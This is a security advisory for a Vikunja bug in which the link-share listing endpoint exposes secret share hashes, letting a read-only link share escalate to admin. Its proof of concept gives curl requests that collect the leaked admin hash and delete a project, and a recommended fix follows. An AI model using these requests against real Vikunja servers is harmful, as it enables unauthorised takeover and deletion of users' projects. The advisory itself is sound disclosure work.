CVE-2026-33680: Vikunja Vulnerable to Link Share Hash Disclosure via ReadAll Endpoint Enables Permission Escalation

Summary

The LinkSharing.ReadAll() method allows link share authenticated users to list all link shares for a project, including their secret hashes. While LinkSharing.CanRead() correctly blocks link share users from reading individual shares via ReadOne, the ReadAllWeb handler bypasses this check by never calling CanRead(). An attacker with a read-only link share can retrieve hashes for write or admin link shares on the same project and authenticate with them, escalating to full admin access.

Details

The vulnerability arises from an inconsistency between the ReadOneWeb and ReadAllWeb generic handlers and the LinkSharing permission model.

LinkSharing.CanRead() correctly blocks link share users (pkg/models/linksharingpermissions.go:25-29): go func (share LinkSharing) CanRead(s xorm.Session, a web.Auth) (bool, int, error) { if , is := a.(LinkSharing); is { return false, 0, nil // Blocks link share users } // ... }

ReadOneWeb calls CanRead() before returning data (pkg/web/handler/readone.go:64): go canRead, maxPermission, err := currentStruct.CanRead(s, currentAuth) if !canRead { return echo.NewHTTPError(http.StatusForbidden, ...) }

ReadAllWeb does NOT call CanRead() (pkg/web/handler/readall.go:106): go // Directly calls ReadAll without permission check result, resultCount, numberOfItems, err := currentStruct.ReadAll(s, currentAuth, search, pageNumber, perPageNumber)

LinkSharing.ReadAll() only checks project-level read access (pkg/models/linksharing.go:228-236): go func (share LinkSharing) ReadAll(s xorm.Session, a web.Auth, ...) (...) { project := &Project{ID: share.ProjectID} can, , err := project.CanRead(s, a) // Link share users pass this! if !can { return nil, 0, 0, ErrGenericForbidden{} } // Returns all shares with hashes...

Project.CanRead() allows link share users (pkg/models/projectpermissions.go:105-108): go shareAuth, ok := a.(LinkSharing) if ok { return p.ID == shareAuth.ProjectID && (shareAuth.Permission == PermissionRead || ...), ... }

The Hash field is exposed in JSON serialization (pkg/models/linksharing.go:50): go Hash string xorm:"varchar(40) not null unique" json:"hash" param:"hash"

While the Password field is cleared at line 276, the Hash — which is the secret token used to authenticate — is returned in full.

PoC

Prerequisites: A project with multiple link shares at different permission levels (common scenario: a read-only share for public access and a write/admin share for collaborators).

Step 1: Authenticate with a read-only link share bash Authenticate with a read-only link share hash curl -s -X POST http://localhost:3456/api/v1/shares/READONLYHASH/auth \ | jq '.token' Returns: JWT token with permission=0 (read)

Step 2: List all link shares for the project (hash disclosure) bash Use the read-only JWT to list ALL shares including their hashes curl -s -H "Authorization: Bearer <read-only-jwt>" \ http://localhost:3456/api/v1/projects/PROJECTID/shares \ | jq '.[].hash, .[].permission' Returns ALL shares with their hashes and permission levels: "READONLYHASH" permission: 0 "ADMINHASH" permission: 2 <-- leaked!

Step 3: Escalate to admin using the leaked hash bash Authenticate with the admin link share hash curl -s -X POST http://localhost:3456/api/v1/shares/ADMINHASH/auth \ | jq '.token' Returns: JWT token with permission=2 (admin)

Step 4: Exercise admin privileges bash Delete the project (admin-only operation) curl -s -X DELETE -H "Authorization: Bearer <admin-jwt>" \ http://localhost:3456/api/v1/projects/PROJECTID Success — full admin access achieved from a read-only share

Impact

- Permission escalation: An attacker with any link share URL (including read-only) can escalate to the highest permission level of any other link share on the same project - Credential disclosure: All link share hashes for a project are exposed, which are effectively bearer tokens - No account required: Link shares are designed for unauthenticated access — the attacker only needs a link share URL that was shared publicly or forwarded to them - Common scenario: Projects with both read-only (public) and write/admin (collaborator) link shares are the standard use case for tiered sharing - Password-protected shares: Even password-protected share hashes are leaked, though exploitation requires knowing/brute-forcing the password

Recommended Fix

Add a link share user check at the beginning of LinkSharing.ReadAll(), mirroring the check in CanRead():

go // In pkg/models/linksharing.go, at the start of ReadAll(): func (share LinkSharing) ReadAll(s xorm.Session, a web.Auth, search string, page int, perPage int) (result interface{}, resultCount int, totalItems int64, err error) { // Don't allow link share users to list link shares if , is := a.(LinkSharing); is { return nil, 0, 0, ErrGenericForbidden{} }

project := &Project{ID: share.ProjectID} // ... rest of method unchanged

Alternatively, as a defense-in-depth measure, exclude the Hash field from JSON serialization for list responses by using json:"-" and only returning it on creation. However, the primary fix should be the authorization check since the hash is needed in the creation response.